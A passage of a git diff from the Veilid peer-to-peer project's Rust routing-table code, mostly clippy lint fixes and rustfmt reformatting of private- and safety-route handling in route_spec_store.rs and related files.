BucketEntry { F: FnOnce(&RoutingTableInner, &BucketEntryInner) -> R, { let inner = self.inner.read(); - f(rti, &*inner) + f(rti, &inner) } // Note, that this requires -also- holding the RoutingTable write lock, as a @@ -902,7 +900,7 @@ impl BucketEntry { F: FnOnce(&mut RoutingTableInner, &mut BucketEntryInner) -> R, { let mut inner = self.inner.write(); - f(rti, &mut *inner) + f(rti, &mut inner) } // Internal inner access for RoutingTableInner only @@ -911,7 +909,7 @@ impl BucketEntry { F: FnOnce(&BucketEntryInner) -> R, { let inner = self.inner.read(); - f(&*inner) + f(&inner) } // Internal inner access for RoutingTableInner only @@ -920,7 +918,7 @@ impl BucketEntry { F: FnOnce(&mut BucketEntryInner) -> R, { let mut inner = self.inner.write(); - f(&mut *inner) + f(&mut inner) } } diff --git a/veilid-core/src/routing_table/debug.rs b/veilid-core/src/routing_table/debug.rs index 64207987..3e2e02b3 100644 --- a/veilid-core/src/routing_table/debug.rs +++ b/veilid-core/src/routing_table/debug.rs @@ -112,7 +112,7 @@ impl RoutingTable { let mut out = String::new(); out += &format!("Entries: {}\n", inner.bucket_entry_count()); - out += &format!(" Live:\n"); + out += " Live:\n"; for ec in inner.cached_entry_counts() { let routing_domain = ec.0 .0; let crypto_kind = ec.0 .1; diff --git a/veilid-core/src/routing_table/mod.rs b/veilid-core/src/routing_table/mod.rs index 8808d757..45823b14 100644 --- a/veilid-core/src/routing_table/mod.rs +++ b/veilid-core/src/routing_table/mod.rs @@ -129,7 +129,7 @@ impl RoutingTableUnlockedInner { where F: FnOnce(&VeilidConfigInner) -> R, { - f(&*self.config.get()) + f(&self.config.get()) } pub fn node_id(&self, kind: CryptoKind) -> TypedKey { @@ -541,7 +541,7 @@ impl RoutingTable { peer_b: &PeerInfo, dial_info_filter: DialInfoFilter, sequencing: Sequencing, - dif_sort: Option core::cmp::Ordering>>, + dif_sort: Option>, ) -> ContactMethod { self.inner.read().get_contact_method( routing_domain, @@ -885,7 +885,7 @@ impl RoutingTable { crypto_kind: CryptoKind, max_per_type: usize, ) -> Vec { - let protocol_types = vec![ + let protocol_types = [ ProtocolType::UDP, ProtocolType::TCP, ProtocolType::WS, @@ -893,8 +893,8 @@ impl RoutingTable { ]; let protocol_types_len = protocol_types.len(); - let mut nodes_proto_v4 = vec![0usize, 0usize, 0usize, 0usize]; - let mut nodes_proto_v6 = vec![0usize, 0usize, 0usize, 0usize]; + let mut nodes_proto_v4 = [0usize, 0usize, 0usize, 0usize]; + let mut nodes_proto_v6 = [0usize, 0usize, 0usize, 0usize]; let filter = Box::new( move |rti: &RoutingTableInner, entry: Option>| { diff --git a/veilid-core/src/routing_table/node_ref.rs b/veilid-core/src/routing_table/node_ref.rs index fd59c82b..939d54a7 100644 --- a/veilid-core/src/routing_table/node_ref.rs +++ b/veilid-core/src/routing_table/node_ref.rs @@ -85,7 +85,7 @@ pub trait NodeRefBase: Sized { self.common() .filter .as_ref() - .map(|f| f.dial_info_filter.clone()) + .map(|f| f.dial_info_filter) .unwrap_or(DialInfoFilter::all()) } @@ -283,7 +283,7 @@ pub trait NodeRefBase: Sized { self.operate(|rti, e| { // apply sequencing to filter and get sort let sequencing = self.common().sequencing; - let filter = self.common().filter.clone().unwrap_or_default(); + let filter = self.common().filter.unwrap_or_default(); let (ordered, filter) = filter.with_sequencing(sequencing); let mut last_connections = e.last_connections(rti, true, filter); @@ -444,7 +444,7 @@ impl Clone for NodeRef { common: NodeRefBaseCommon { routing_table: self.common.routing_table.clone(), entry: self.common.entry.clone(), - filter: self.common.filter.clone(), + filter: self.common.filter, sequencing: self.common.sequencing, #[cfg(feature = "tracking")] track_id: self.common.entry.write().track(), diff --git a/veilid-core/src/routing_table/privacy.rs b/veilid-core/src/routing_table/privacy.rs index 66f08c57..baac0ee9 100644 --- a/veilid-core/src/routing_table/privacy.rs +++ b/veilid-core/src/routing_table/privacy.rs @@ -18,7 +18,7 @@ pub enum RouteNode { /// Route node is optimized, no contact method information as this node id has been seen before NodeId(PublicKey), /// Route node with full contact method information to ensure the peer is reachable - PeerInfo(PeerInfo), + PeerInfo(Box), } impl RouteNode { @@ -41,7 +41,7 @@ impl RouteNode { Ok(nr) => nr, Err(e) => { log_rtab!(debug "failed to look up route node: {}", e); - return None; + None } } } @@ -49,13 +49,13 @@ impl RouteNode { // match routing_table.register_node_with_peer_info( RoutingDomain::PublicInternet, - pi.clone(), + *pi.clone(), false, ) { Ok(nr) => Some(nr), Err(e) => { log_rtab!(debug "failed to register route node: {}", e); - return None; + None } } } @@ -95,7 +95,7 @@ impl RouteHop { #[derive(Clone, Debug)] pub enum PrivateRouteHops { /// The first hop of a private route, unencrypted, route_hops == total hop count - FirstHop(RouteHop), + FirstHop(Box), /// Private route internal node. Has > 0 private route hops left but < total hop count Data(RouteHopData), /// Private route has ended (hop count = 0) @@ -134,10 +134,10 @@ impl PrivateRoute { Self { public_key, hop_count: 1, - hops: PrivateRouteHops::FirstHop(RouteHop { + hops: PrivateRouteHops::FirstHop(Box::new(RouteHop { node, next_hop: None, - }), + })), } } diff --git a/veilid-core/src/routing_table/route_spec_store/permutation.rs b/veilid-core/src/routing_table/route_spec_store/permutation.rs index 691e75c3..5b0443ae 100644 --- a/veilid-core/src/routing_table/route_spec_store/permutation.rs +++ b/veilid-core/src/routing_table/route_spec_store/permutation.rs @@ -13,7 +13,7 @@ fn _get_route_permutation_count(hop_count: usize) -> usize { // more than two nodes has factorial permutation // hop_count = 3 -> 2! -> 2 // hop_count = 4 -> 3! -> 6 - (3..hop_count).into_iter().fold(2usize, |acc, x| acc * x) + (3..hop_count).fold(2usize, |acc, x| acc * x) } pub type PermReturnType = (Vec, bool); pub type PermFunc<'t> = Box Option + Send + 't>; @@ -47,7 +47,7 @@ pub fn with_route_permutations( f: &mut PermFunc, ) -> Option { if size == 1 { - return f(&permutation); + return f(permutation); } for i in 0..size { diff --git a/veilid-core/src/routing_table/route_spec_store/route_set_spec_detail.rs b/veilid-core/src/routing_table/route_spec_store/route_set_spec_detail.rs index e4f58462..c41bb92b 100644 --- a/veilid-core/src/routing_table/route_spec_store/route_set_spec_detail.rs +++ b/veilid-core/src/routing_table/route_spec_store/route_set_spec_detail.rs @@ -112,7 +112,7 @@ impl RouteSetSpecDetail { } pub fn contains_nodes(&self, nodes: &[TypedKey]) -> bool { for tk in nodes { - for (_pk, rsd) in &self.route_set { + for rsd in self.route_set.values() { if rsd.crypto_kind == tk.kind && rsd.hops.contains(&tk.value) { return true; } diff --git a/veilid-core/src/routing_table/route_spec_store/route_spec_store.rs b/veilid-core/src/routing_table/route_spec_store/route_spec_store.rs index 1889abca..274181ba 100644 --- a/veilid-core/src/routing_table/route_spec_store/route_spec_store.rs +++ b/veilid-core/src/routing_table/route_spec_store/route_spec_store.rs @@ -89,7 +89,6 @@ impl RouteSpecStore { Ok(rss) } - #[instrument(level = "trace", skip(self), err)] pub async fn save(&self) -> EyreResult<()> { @@ -99,7 +98,9 @@ impl RouteSpecStore { }; // Save our content - content.save(self.unlocked_inner.routing_table.clone()).await?; + content + .save(self.unlocked_inner.routing_table.clone()) + .await?; Ok(()) } @@ -166,6 +167,7 @@ impl RouteSpecStore { } #[instrument(level = "trace", skip(self, inner, rti), ret, err)] + #[allow(clippy::too_many_arguments)] fn allocate_route_inner( &self, inner: &mut RouteSpecStoreInner, @@ -186,7 +188,7 @@ impl RouteSpecStore { if hop_count > self.unlocked_inner.max_route_hop_count { bail!("Not allocating route longer than max route hop count"); } - + // Ensure we have a valid network class so our peer info is useful if !rti.has_valid_network_class(RoutingDomain::PublicInternet) { log_rtab!(debug "unable to allocate route until we have a valid PublicInternet network class"); @@ -197,7 +199,9 @@ impl RouteSpecStore { let our_peer_info = rti.get_own_peer_info(RoutingDomain::PublicInternet); // Get relay node if we have one - let opt_own_relay_nr = rti.relay_node(RoutingDomain::PublicInternet).map(|nr| nr.locked(rti)); + let opt_own_relay_nr = rti + .relay_node(RoutingDomain::PublicInternet) + .map(|nr| nr.locked(rti)); // Get list of all nodes, and sort them for selection let cur_ts = get_aligned_timestamp(); @@ -218,7 +222,6 @@ impl RouteSpecStore { // Process node info exclusions let keep = entry.with_inner(|e| { - // Exclude nodes that don't have our requested crypto kinds let common_ck = e.common_crypto_kinds(crypto_kinds); if common_ck.len() != crypto_kinds.len() { @@ -236,13 +239,13 @@ impl RouteSpecStore { } // Exclude nodes that have no publicinternet signednodeinfo - let Some(sni) = e.signed_node_info(RoutingDomain::PublicInternet) else { + let Some(sni) = e.signed_node_info(RoutingDomain::PublicInternet) else { return false; }; // Relay check let relay_ids = sni.relay_ids(); - if relay_ids.len() != 0 { + if !relay_ids.is_empty() { // Exclude nodes whose relays we have chosen to avoid if relay_ids.contains_any(avoid_nodes) { return false; @@ -254,7 +257,7 @@ impl RouteSpecStore { } } } - return true; + true }); if !keep { return false; @@ -262,9 +265,12 @@ impl RouteSpecStore { // Exclude nodes with no publicinternet nodeinfo, or incompatible nodeinfo or node status won't route entry.with_inner(|e| { - e.signed_node_info(RoutingDomain::PublicInternet).map(|sni| - sni.has_sequencing_matched_dial_info(sequencing) && sni.node_info().has_capability(CAP_ROUTE) - ).unwrap_or(false) + e.signed_node_info(RoutingDomain::PublicInternet) + .map(|sni| { + sni.has_sequencing_matched_dial_info(sequencing) + && sni.node_info().has_capability(CAP_ROUTE) + }) + .unwrap_or(false) }) }, ) as RoutingTableEntryFilter; @@ -273,7 +279,6 @@ impl RouteSpecStore { entry1: &Option>, entry2: &Option>| -> Ordering { - // Our own node is filtered out let entry1 = entry1.as_ref().unwrap().clone(); let entry2 = entry2.as_ref().unwrap().clone(); @@ -302,8 +307,14 @@ impl RouteSpecStore { if matches!(sequencing, Sequencing::PreferOrdered) { let cmp_seq = entry1.with_inner(|e1| { entry2.with_inner(|e2| { - let e1_can_do_ordered = e1.signed_node_info(RoutingDomain::PublicInternet).map(|sni| sni.has_sequencing_matched_dial_info(sequencing)).unwrap_or(false); - let e2_can_do_ordered = e2.signed_node_info(RoutingDomain::PublicInternet).map(|sni| sni.has_sequencing_matched_dial_info(sequencing)).unwrap_or(false); + let e1_can_do_ordered = e1 + .signed_node_info(RoutingDomain::PublicInternet) + .map(|sni| sni.has_sequencing_matched_dial_info(sequencing)) + .unwrap_or(false); + let e2_can_do_ordered = e2 + .signed_node_info(RoutingDomain::PublicInternet) + .map(|sni| sni.has_sequencing_matched_dial_info(sequencing)) + .unwrap_or(false); e2_can_do_ordered.cmp(&e1_can_do_ordered) }) }); @@ -313,27 +324,22 @@ impl RouteSpecStore { } // always prioritize reliable nodes, but sort by oldest or fastest - let cmpout = entry1.with_inner(|e1| { + + entry1.with_inner(|e1| { entry2.with_inner(|e2| match stability { - Stability::LowLatency => { - BucketEntryInner::cmp_fastest_reliable(cur_ts, e1, e2) - } - Stability::Reliable => { - BucketEntryInner::cmp_oldest_reliable(cur_ts, e1, e2) - } + Stability::LowLatency => BucketEntryInner::cmp_fastest_reliable(cur_ts, e1, e2), + Stability::Reliable => BucketEntryInner::cmp_oldest_reliable(cur_ts, e1, e2), }) - }); - cmpout + }) }; - + let routing_table = self.unlocked_inner.routing_table.clone(); - let transform = - |_rti: &RoutingTableInner, entry: Option>| -> NodeRef { - NodeRef::new(routing_table.clone(), entry.unwrap(), None) - }; + let transform = |_rti: &RoutingTableInner, entry: Option>| -> NodeRef { + NodeRef::new(routing_table.clone(), entry.unwrap(), None) + }; // Pull the whole routing table in sorted order - let nodes:Vec = + let nodes: Vec = rti.find_peers_with_sort_and_filter(usize::MAX, cur_ts, filters, compare, transform); // If we couldn't find enough nodes, wait until we have more nodes in the routing table @@ -343,20 +349,27 @@ impl RouteSpecStore { } // Get peer info for everything - let nodes_pi: Vec = nodes.iter().map(|nr| nr.locked(rti).make_peer_info(RoutingDomain::PublicInternet).unwrap()).collect(); + let nodes_pi: Vec = nodes + .iter() + .map(|nr| { + nr.locked(rti) + .make_peer_info(RoutingDomain::PublicInternet) + .unwrap() + }) + .collect(); // Now go through nodes and try to build a route we haven't seen yet let mut perm_func = Box::new(|permutation: &[usize]| { - // Get the hop cache key for a particular route permutation // uses the same algorithm as RouteSetSpecDetail::make_cache_key - let route_permutation_to_hop_cache = |_rti: &RoutingTableInner, nodes: &[NodeRef], perm: &[usize]| -> Vec { - let mut cache: Vec = Vec::with_capacity(perm.len() * PUBLIC_KEY_LENGTH); - for n in perm { - cache.extend_from_slice(&nodes[*n].locked(rti).best_node_id().value.bytes) - } - cache - }; + let route_permutation_to_hop_cache = + |_rti: &RoutingTableInner, nodes: &[NodeRef], perm: &[usize]| -> Vec { + let mut cache: Vec = Vec::with_capacity(perm.len() * PUBLIC_KEY_LENGTH); + for n in perm { + cache.extend_from_slice(&nodes[*n].locked(rti).best_node_id().value.bytes) + } + cache + }; let cache_key = route_permutation_to_hop_cache(rti, &nodes, permutation); // Skip routes we have already seen @@ -491,21 +504,36 @@ impl RouteSpecStore { drop(perm_func); // Got a unique route, lets build the details, register it, and return it - let hop_node_refs:Vec = route_nodes - .iter() - .map(|k| nodes[*k].clone()) - .collect(); + let hop_node_refs: Vec = route_nodes.iter().map(|k| nodes[*k].clone()).collect(); let mut route_set = BTreeMap::::new(); for crypto_kind in crypto_kinds.iter().copied() { - let vcrypto = self.unlocked_inner.routing_table.crypto().get(crypto_kind).unwrap(); + let vcrypto = self + .unlocked_inner + .routing_table + .crypto() + .get(crypto_kind) + .unwrap(); let keypair = vcrypto.generate_keypair(); - let hops: Vec = route_nodes.iter().map(|v| nodes[*v].locked(rti).node_ids().get(crypto_kind).unwrap().value).collect(); + let hops: Vec = route_nodes + .iter() + .map(|v| { + nodes[*v] + .locked(rti) + .node_ids() + .get(crypto_kind) + .unwrap() + .value + }) + .collect(); - route_set.insert(keypair.key, RouteSpecDetail { - crypto_kind, - secret_key: keypair.secret, - hops, - }); + route_set.insert( + keypair.key, + RouteSpecDetail { + crypto_kind, + secret_key: keypair.secret, + hops, + }, + ); } let rssd = RouteSetSpecDetail::new( @@ -514,10 +542,9 @@ impl RouteSpecStore { hop_node_refs, directions, stability, - can_do_sequenced, + can_do_sequenced, ); - // make id let id = self.generate_allocated_route_id(&rssd)?; @@ -525,23 +552,27 @@ impl RouteSpecStore { inner.cache.add_to_cache(rti, &rssd); // Keep route in spec store - inner.content.add_detail(id.clone(), rssd); + inner.content.add_detail(id, rssd); Ok(Some(id)) } /// validate data using a private route's key and signature chain - #[cfg_attr(feature="verbose-tracing", instrument(level = "trace", skip(self, data, callback), ret))] - pub fn with_signature_validated_route( + #[cfg_attr( + feature = "verbose-tracing", + instrument(level = "trace", skip(self, data, callback), ret) + )] + pub fn with_signature_validated_route( &self, public_key: &TypedKey, signatures: &[Signature], data: &[u8], last_hop_id: PublicKey, callback: F, - ) -> Option - where F: FnOnce(&RouteSetSpecDetail, &RouteSpecDetail) -> R, - R: fmt::Debug, + ) -> Option + where + F: FnOnce(&RouteSetSpecDetail, &RouteSpecDetail) -> R, + R: fmt::Debug, { let inner = &*self.inner.lock(); let crypto = self.unlocked_inner.routing_table.crypto(); @@ -549,7 +580,7 @@ impl RouteSpecStore { log_rpc!(debug "can't handle route with public key: {:?}", public_key); return None; }; - + let Some(rsid) = inner.content.get_id_by_key(&public_key.value) else { log_rpc!(debug "route id does not exist: {:?}", public_key.value); return None; @@ -587,15 +618,17 @@ impl RouteSpecStore { } } } - // We got the correct signatures, return a key and response safety spec + // We got the correct signatures, return a key and response safety spec Some(callback(rssd, rsd)) } - #[cfg_attr(feature="verbose-tracing", instrument(level = "trace", skip(self), ret, err))] + #[cfg_attr( + feature = "verbose-tracing", + instrument(level = "trace", skip(self), ret, err) + )] async fn test_allocated_route(&self, private_route_id: RouteId) -> EyreResult { // Make loopback route to test with let dest = { - // Get the best private route for this id let (key, hop_count) = { let inner = &mut *self.inner.lock(); @@ -606,7 +639,7 @@ impl RouteSpecStore { bail!("no best key to test allocated route"); }; // Match the private route's hop length for safety route length - let hop_count = rssd.hop_count(); + let hop_count = rssd.hop_count(); (key, hop_count) }; @@ -646,10 +679,8 @@ impl RouteSpecStore { #[instrument(level = "trace", skip(self), ret, err)] async fn test_remote_route(&self, private_route_id: RouteId) -> EyreResult { - // Make private route test let dest = { - // Get the route to test let Some(private_route) = self.best_remote_private_route(&private_route_id) else { bail!("no best key to test remote route"); @@ -710,11 +741,17 @@ impl RouteSpecStore { pub fn is_route_id_remote(&self, id: &RouteId) -> bool { let inner = &mut *self.inner.lock(); let cur_ts = get_aligned_timestamp(); - inner.cache.peek_remote_private_route_mut(cur_ts, &id).is_some() + inner + .cache + .peek_remote_private_route_mut(cur_ts, id) + .is_some() } /// Test an allocated route for continuity - #[cfg_attr(feature="verbose-tracing", instrument(level = "trace", skip(self), ret, err))] + #[cfg_attr( + feature = "verbose-tracing", + instrument(level = "trace", skip(self), ret, err) + )] pub async fn test_route(&self, id: RouteId) -> EyreResult { let is_remote = self.is_route_id_remote(&id); if is_remote { @@ -737,8 +774,9 @@ impl RouteSpecStore { /// Find first matching unpublished route that fits into the selection criteria /// Don't pick any routes that have failed and haven't been tested yet - fn first_available_route_inner<'a>( - inner: &'a RouteSpecStoreInner, + #[allow(clippy::too_many_arguments)] + fn first_available_route_inner( + inner: &RouteSpecStoreInner, crypto_kind: CryptoKind, min_hop_count: usize, max_hop_count: usize, @@ -760,7 +798,7 @@ impl RouteSpecStore { && rssd.hop_count() <= max_hop_count && rssd.get_directions().is_superset(directions) && rssd.get_route_set_keys().kinds().contains(&crypto_kind) - && !rssd.is_published() + && !rssd.is_published() && !rssd.contains_nodes(avoid_nodes) { routes.push((id, rssd)); @@ -821,7 +859,7 @@ impl RouteSpecStore { pub fn debug_route(&self, id: &RouteId) -> Option { let inner = &mut *self.inner.lock(); let cur_ts = get_aligned_timestamp(); - if let Some(rpri) = inner.cache.peek_remote_private_route_mut(cur_ts, &id) { + if let Some(rpri) = inner.cache.peek_remote_private_route_mut(cur_ts, id) { return Some(format!("{:#?}", rpri)); } if let Some(rssd) = inner.content.get_detail(id) { @@ -840,7 +878,6 @@ impl RouteSpecStore { rpri.best_private_route() } - /// Compiles a safety route to the private route, with caching /// Returns an Err() if the parameters are wrong /// Returns Ok(None) if no allocation could happen at this time (not an error) @@ -863,7 +900,7 @@ impl RouteSpecStore { let pr_pubkey = private_route.public_key.value; let pr_hopcount = private_route.hop_count as usize; let max_route_hop_count = self.unlocked_inner.max_route_hop_count; - + // Check private route hop count isn't larger than the max route hop count plus one for the 'first hop' header if pr_hopcount > (max_route_hop_count + 1) { bail!("private route hop count too long"); @@ -879,15 +916,15 @@ impl RouteSpecStore { }; let opt_first_hop = match pr_first_hop_node { - RouteNode::NodeId(id) => rti.lookup_node_ref(routing_table.clone(), TypedKey::new(crypto_kind, id))?, - RouteNode::PeerInfo(pi) => { - Some(rti.register_node_with_peer_info( - routing_table.clone(), - RoutingDomain::PublicInternet, - pi, - false, - )?) + RouteNode::NodeId(id) => { + rti.lookup_node_ref(routing_table.clone(), TypedKey::new(crypto_kind, id))? } + RouteNode::PeerInfo(pi) => Some(rti.register_node_with_peer_info( + routing_table.clone(), + RoutingDomain::PublicInternet, + *pi, + false, + )?), }; if opt_first_hop.is_none() { // Can't reach this private route any more @@ -902,7 +939,10 @@ impl RouteSpecStore { // Return the compiled safety route //println!("compile_safety_route profile (stub): {} us", (get_timestamp() - profile_start_ts)); return Ok(Some(CompiledRoute { - safety_route: SafetyRoute::new_stub(routing_table.node_id(crypto_kind), private_route), + safety_route: SafetyRoute::new_stub( + routing_table.node_id(crypto_kind), + private_route, + ), secret: routing_table.node_id_secret_key(crypto_kind), first_hop, })); @@ -911,20 +951,30 @@ impl RouteSpecStore { // If the safety route requested is also the private route, this is a loopback test, just accept it let opt_private_route_id = inner.content.get_id_by_key(&pr_pubkey); - let sr_pubkey = if opt_private_route_id.is_some() && safety_spec.preferred_route == opt_private_route_id { + let sr_pubkey = if opt_private_route_id.is_some() + && safety_spec.preferred_route == opt_private_route_id + { // Private route is also safety route during loopback test pr_pubkey } else { let Some(avoid_node_id) = private_route.first_hop_node_id() else { bail!("compiled private route should have first hop"); }; - let Some(sr_pubkey) = self.get_route_for_safety_spec_inner(inner, rti, crypto_kind, &safety_spec, Direction::Outbound.into(), &[avoid_node_id])? else { + let Some(sr_pubkey) = self.get_route_for_safety_spec_inner( + inner, + rti, + crypto_kind, + &safety_spec, + Direction::Outbound.into(), + &[avoid_node_id], + )? + else { // No safety route could be found for this spec return Ok(None); }; sr_pubkey }; - + // Look up a few things from the safety route detail we want for the compiled route and don't borrow inner let Some(safety_route_id) = inner.content.get_id_by_key(&sr_pubkey) else { bail!("route id missing"); @@ -939,7 +989,8 @@ impl RouteSpecStore { // We can optimize the peer info in this safety route if it has been successfully // communicated over either via an outbound test, or used as a private route inbound // and we are replying over the same route as our safety route outbound - let optimize = safety_rssd.get_stats().last_tested_ts.is_some() || safety_rssd.get_stats().last_received_ts.is_some(); + let optimize = safety_rssd.get_stats().last_tested_ts.is_some() + || safety_rssd.get_stats().last_received_ts.is_some(); // Get the first hop noderef of the safety route let mut first_hop = safety_rssd.hop_node_ref(0).unwrap(); @@ -952,7 +1003,10 @@ impl RouteSpecStore { // See if we have a cached route we can use if optimize { - if let Some(safety_route) = inner.cache.lookup_compiled_route_cache(sr_pubkey, pr_pubkey) { + if let Some(safety_route) = inner + .cache + .lookup_compiled_route_cache(sr_pubkey, pr_pubkey) + { // Build compiled route let compiled_route = CompiledRoute { safety_route, @@ -993,9 +1047,9 @@ impl RouteSpecStore { let dh_secret = vcrypto .cached_dh(&safety_rsd.hops[h], &safety_rsd.secret_key) .wrap_err("dh failed")?; - let enc_msg_data = - vcrypto.encrypt_aead(blob_data.as_slice(), &nonce, &dh_secret, None) - .wrap_err("encryption failed")?; + let enc_msg_data = vcrypto + .encrypt_aead(blob_data.as_slice(), &nonce, &dh_secret, None) + .wrap_err("encryption failed")?; // Make route hop data let route_hop_data = RouteHopData { @@ -1021,7 +1075,7 @@ impl RouteSpecStore { if pi.is_none() { bail!("peer info should exist for route but doesn't"); } - RouteNode::PeerInfo(pi.unwrap()) + RouteNode::PeerInfo(Box::new(pi.unwrap())) }, next_hop: Some(route_hop_data), }; @@ -1045,7 +1099,8 @@ impl RouteSpecStore { let dh_secret = vcrypto .cached_dh(&safety_rsd.hops[0], &safety_rsd.secret_key) .map_err(RPCError::map_internal("dh failed"))?; - let enc_msg_data = vcrypto.encrypt_aead(blob_data.as_slice(), &nonce, &dh_secret, None) + let enc_msg_data = vcrypto + .encrypt_aead(blob_data.as_slice(), &nonce, &dh_secret, None) .map_err(RPCError::map_internal("encryption failed"))?; let route_hop_data = RouteHopData { @@ -1065,7 +1120,9 @@ impl RouteSpecStore { // Add to cache but only if we have an optimized route if optimize { - inner.cache.add_to_compiled_route_cache( pr_pubkey, safety_route.clone()); + inner + .cache + .add_to_compiled_route_cache(pr_pubkey, safety_route.clone()); } // Build compiled route @@ -1081,7 +1138,10 @@ impl RouteSpecStore { } /// Get an allocated route that matches a particular safety spec - #[cfg_attr(feature="verbose-tracing", instrument(level = "trace", skip(self, inner, rti), ret, err))] + #[cfg_attr( + feature = "verbose-tracing", + instrument(level = "trace", skip(self, inner, rti), ret, err) + )] fn get_route_for_safety_spec_inner( &self, inner: &mut RouteSpecStoreInner, @@ -1132,7 +1192,7 @@ impl RouteSpecStore { .allocate_route_inner( inner, rti, - &[crypto_kind], + &[crypto_kind], safety_spec.stability, safety_spec.sequencing, safety_spec.hop_count, @@ -1146,13 +1206,23 @@ impl RouteSpecStore { sr_route_id }; - let sr_pubkey = inner.content.get_detail(&sr_route_id).unwrap().get_route_set_keys().get(crypto_kind).unwrap().value; + let sr_pubkey = inner + .content + .get_detail(&sr_route_id) + .unwrap() + .get_route_set_keys() + .get(crypto_kind) + .unwrap() + .value; Ok(Some(sr_pubkey)) } /// Get a private route to use for the answer to question - #[cfg_attr(feature="verbose-tracing", instrument(level = "trace", skip(self), ret, err))] + #[cfg_attr( + feature = "verbose-tracing", + instrument(level = "trace", skip(self), ret, err) + )] pub fn get_private_route_for_safety_spec( &self, crypto_kind: CryptoKind, @@ -1173,8 +1243,12 @@ impl RouteSpecStore { )?) } - fn assemble_private_route_inner(&self, key: &PublicKey, rsd: &RouteSpecDetail, optimized: bool) -> EyreResult - { + fn assemble_private_route_inner( + &self, + key: &PublicKey, + rsd: &RouteSpecDetail, + optimized: bool, + ) -> EyreResult { let routing_table = self.unlocked_inner.routing_table.clone(); let rti = &*routing_table.inner.read(); @@ -1198,7 +1272,7 @@ impl RouteSpecStore { RouteNode::NodeId(node_id.value) } else { let pi = rti.get_own_peer_info(RoutingDomain::PublicInternet); - RouteNode::PeerInfo(pi) + RouteNode::PeerInfo(Box::new(pi)) }, next_hop: None, }; @@ -1220,7 +1294,8 @@ impl RouteSpecStore { let dh_secret = vcrypto .cached_dh(&rsd.hops[h], &rsd.secret_key) .wrap_err("dh failed")?; - let enc_msg_data = vcrypto.encrypt_aead(blob_data.as_slice(), &nonce, &dh_secret, None) + let enc_msg_data = vcrypto + .encrypt_aead(blob_data.as_slice(), &nonce, &dh_secret, None) .wrap_err("encryption failed")?; let route_hop_data = RouteHopData { nonce, @@ -1244,7 +1319,7 @@ impl RouteSpecStore { if pi.is_none() { bail!("peer info should exist for route but doesn't",); } - RouteNode::PeerInfo(pi.unwrap()) + RouteNode::PeerInfo(Box::new(pi.unwrap())) }, next_hop: Some(route_hop_data), } @@ -1258,10 +1333,13 @@ impl RouteSpecStore { }; Ok(private_route) } - + /// Assemble a single private route for publication /// Returns a PrivateRoute object for an allocated private route key - #[cfg_attr(feature="verbose-tracing", instrument(level = "trace", skip(self), err))] + #[cfg_attr( + feature = "verbose-tracing", + instrument(level = "trace", skip(self), err) + )] pub fn assemble_private_route( &self, key: &PublicKey, @@ -1277,18 +1355,24 @@ impl RouteSpecStore { // See if we can optimize this compilation yet // We don't want to include full nodeinfo if we don't have to - let optimized = optimized - .unwrap_or(rssd.get_stats().last_tested_ts.is_some() || rssd.get_stats().last_received_ts.is_some()); + let optimized = optimized.unwrap_or( + rssd.get_stats().last_tested_ts.is_some() + || rssd.get_stats().last_received_ts.is_some(), + ); + + let rsd = rssd + .get_route_by_key(key) + .expect("route key index is broken"); - let rsd = rssd.get_route_by_key(key).expect("route key index is broken"); - self.assemble_private_route_inner(key, rsd, optimized) } - /// Assemble private route set for publication /// Returns a vec of PrivateRoute objects for an allocated private route - #[cfg_attr(feature="verbose-tracing", instrument(level = "trace", skip(self), err))] + #[cfg_attr( + feature = "verbose-tracing", + instrument(level = "trace", skip(self), err) + )] pub fn assemble_private_routes( &self, id: &RouteId, @@ -1301,8 +1385,10 @@ impl RouteSpecStore { // See if we can optimize this compilation yet // We don't want to include full nodeinfo if we don't have to - let optimized = optimized - .unwrap_or(rssd.get_stats().last_tested_ts.is_some() || rssd.get_stats().last_received_ts.is_some()); + let optimized = optimized.unwrap_or( + rssd.get_stats().last_tested_ts.is_some() + || rssd.get_stats().last_received_ts.is_some(), + ); let mut out = Vec::new(); for (key, rsd) in rssd.iter_route_set() { @@ -1314,12 +1400,18 @@ impl RouteSpecStore { /// Import a remote private route for compilation /// It is safe to import the same route more than once and it will return the same route id /// Returns a route set id - #[cfg_attr(feature="verbose-tracing", instrument(level = "trace", skip(self, blob), ret, err))] - pub fn import_remote_private_route(&self, blob: Vec) -> EyreResult { + #[cfg_attr( + feature = "verbose-tracing", + instrument(level = "trace", skip(self, blob), ret, err) + )] + pub fn import_remote_private_route(&self, blob: Vec) -> EyreResult { let cur_ts = get_aligned_timestamp(); - + // decode the pr blob - let private_routes = RouteSpecStore::blob_to_private_routes(self.unlocked_inner.routing_table.crypto(), blob)?; + let private_routes = RouteSpecStore::blob_to_private_routes( + self.unlocked_inner.routing_table.crypto(), + blob, + )?; // make the route id let id = self.generate_remote_route_id(&private_routes)?; @@ -1327,7 +1419,6 @@ impl RouteSpecStore { // validate the private routes let inner = &mut *self.inner.lock(); for private_route in &private_routes { - // ensure private route has first hop if !matches!(private_route.hops, PrivateRouteHops::FirstHop(_)) { bail!("private route must have first hop"); @@ -1339,27 +1430,31 @@ impl RouteSpecStore { // } } - inner.cache.cache_remote_private_route(cur_ts, id, private_routes); + inner + .cache + .cache_remote_private_route(cur_ts, id, private_routes); Ok(id) } /// Release a remote private route that is no longer in use - #[cfg_attr(feature="verbose-tracing", instrument(level = "trace", skip(self), ret))] + #[cfg_attr( + feature = "verbose-tracing", + instrument(level = "trace", skip(self), ret) + )] pub fn release_remote_private_route(&self, id: RouteId) -> bool { let inner = &mut *self.inner.lock(); inner.cache.remove_remote_private_route(id) } - /// Get a route id for a route's public key - pub fn get_route_id_for_key(&self, key: &PublicKey) -> Option - { + /// Get a route id for a route's public key + pub fn get_route_id_for_key(&self, key: &PublicKey) -> Option { let inner = &mut *self.inner.lock(); // Check for local route if let Some(id) = inner.content.get_id_by_key(key) { return Some(id); } - + // Check for remote route if let Some(rrid) = inner.cache.get_remote_private_route_id_by_key(key) { return Some(rrid); @@ -1371,7 +1466,6 @@ impl RouteSpecStore { /// Check to see if this remote (not ours) private route has seen our current node info yet /// This happens when you communicate with a private route without a safety route pub fn has_remote_private_route_seen_our_node_info(&self, key: &PublicKey) -> bool { - let inner = &mut *self.inner.lock(); // Check for local route. If this is not a remote private route, @@ -1383,9 +1477,11 @@ impl RouteSpecStore { if let Some(rrid) = inner.cache.get_remote_private_route_id_by_key(key) { let cur_ts = get_aligned_timestamp(); - if let Some(rpri) = inner.cache.peek_remote_private_route_mut(cur_ts, &rrid) - { - let our_node_info_ts = self.unlocked_inner.routing_table.get_own_node_info_ts(RoutingDomain::PublicInternet); + if let 